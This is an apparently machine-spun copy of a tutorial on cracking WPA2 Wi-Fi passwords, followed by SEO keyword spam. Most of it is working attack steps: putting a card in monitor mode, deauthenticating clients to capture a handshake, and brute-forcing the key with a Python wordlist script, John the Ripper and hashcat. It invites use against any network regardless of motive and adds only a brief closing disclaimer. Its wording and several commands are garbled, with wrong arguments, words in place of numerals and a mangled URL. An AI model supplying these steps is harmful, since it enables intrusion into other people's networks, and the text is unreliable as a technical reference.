Connect with us

Hi, what are you looking for?

Hacking WPA2 WiFi Networks | The Linux Rain

Latest

Hacking WPA2 WiFi Networks | The Linux Rain

Regardless of the motive for eager to hack a wifi community, it’s nonetheless doable. Actually, it’s develop into youngster’s play as of late.

First, let’s set up aircrack-ng

sudo apt-get set up aircrack-ng

Subsequent, we have to put our wi-fi card into monitor mode. Monitor mode allows you to hearken to different wi-fi networks.

Airmon-ng begin wlan0

We now are prepared to smell the opposite accessible entry factors. Airodump-ng will show all data related to every accessible entry level.

Airodump-ng wlan0mon
Hacking WPA2 WiFi Networks | The Linux Rain

We then must deauthenticate and reauthenticate the shopper.

Aireplay-ng -Zero 0 -a

Now, we wait until we get a WPA/WPA2 handshake. You’re going to get a notification on the appropriate prime nook that there’s a WPA2 handshake. When carried out, you also needs to have a file with a .cap extension. Our subsequent job is to crack the cap file. For this, there are a lot of some ways.

Technique #1: Aircrack-ng

If the password is weak, or that you’ve got a very good dictionary, you’ll be able to do that assault. Nonetheless, it is vitally most unlikely that it’ll work. That is so as a result of most naturally given passwords are a mixture of alphanumeric characters.

Aircrack-ng -w file.cap

Technique #2: Python

Most naturally occurring WPA2 passwords are Eight characters lengthy and a mixture of alphanumeric characters (more than likely ABCDEF1234567890). It’s fairly possible that when you develop the character set to the total alphabet, there’s a 100% likelihood of discovering the appropriate password within the listing.

Let’s name this script file.py:

import itertools

combo = itertools.permutations(“ABCDEF1234567890”, 8)

file = open(“passwords.txt”, “w+”)

for var in combo:
joined = “”.be a part of(var)
file.write(joined)
file.write(“n”)

Nonetheless, you can too use:

combo = itertools.permutations(“ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890”, 8)

Activate the script:

python file.py

Then, run aircrack-ng:

Aircrack-ng -w passwords.txt file.cap

Technique #3: John the Ripper

With John the ripper, assuming you’ve got it put in, we have to flip the cap file into an hccap file utilizing https://hashcat.web/cap2hccap/ or utilizing aircrack-ng:

aircrack-ng -J file file.cap

After which kind:

hccap2john file.hccap > file.txt

And eventually kind:

john file.txt

Technique #4: Hashcat

That is by far the very best technique; it is usually the quickest!

Find hashcat-utils and cd into the listing:

./cap2hccapx.bin file.cap outputfile

The earlier line ought to generate a hccapx file (file.hccapx). We then need to crack it. On this case, we’ll use the dictionary or password file created utilizing python. Nonetheless, you should utilize no matter you see match. Hashcat presents quite a lot of cracking strategies. You simply want to select one that may work.

./hashcat64.bin -m 2500 -a Zero file.hccapx passwords.txt

Alternatively, you’ll be able to select to do the next as nicely:

./hashcat64.bin -m 2500 – a Three file.hccapx ?H?H?H?H?H?H?H?H

Completely satisfied Hacking!

[Editor’s Note/Disclaimer: Information in the above article was for education and ethical hacking practices]



In regards to the creator

Kalyani Rajalingham (from Sri Lanka, lives in Canada), and is a Linux and code lover.

Tags:
wifi
python
wpa2
hacking
scripting
commandline
tutorials

fastest way to hack wifi with kali linux,hack wifi kali linux null byte,hack wifi with kali linux on android,injection-capable wireless adapter,hack wifi using wifite,hack wifi using kali linux without adapter,how to use aircrack-ng windows,wpa/wpa2 psk password hack on android,capture wpa handshake windows,cowpatty,how to hack wifi password using redhat linux,cowpatty download,how to use cowpatty for windows,genpmk,cowpatty vs aircrack-ng,hacking wpa2-psk passwords,how to use cowpatty for android

You May Also Like

Hosting

Malware maker urges judge to dump lawsuit over WhatsApp phone snooping Hey boss, this is what people imagine when they think of California –...

Hosting

We’re at the end of the house! The best host company that has been active in this field for the past 6 years. Because...

Hosting

Youtube-dl is my favorite and preferred command line download manager. I often use it to download audios, videos and movies from Internet. Today, I...

Hosting

Servers can be unpredictable, hence your sites! The website may break down for reasons such as incorrect file processing, authorization problems, website updates, etc....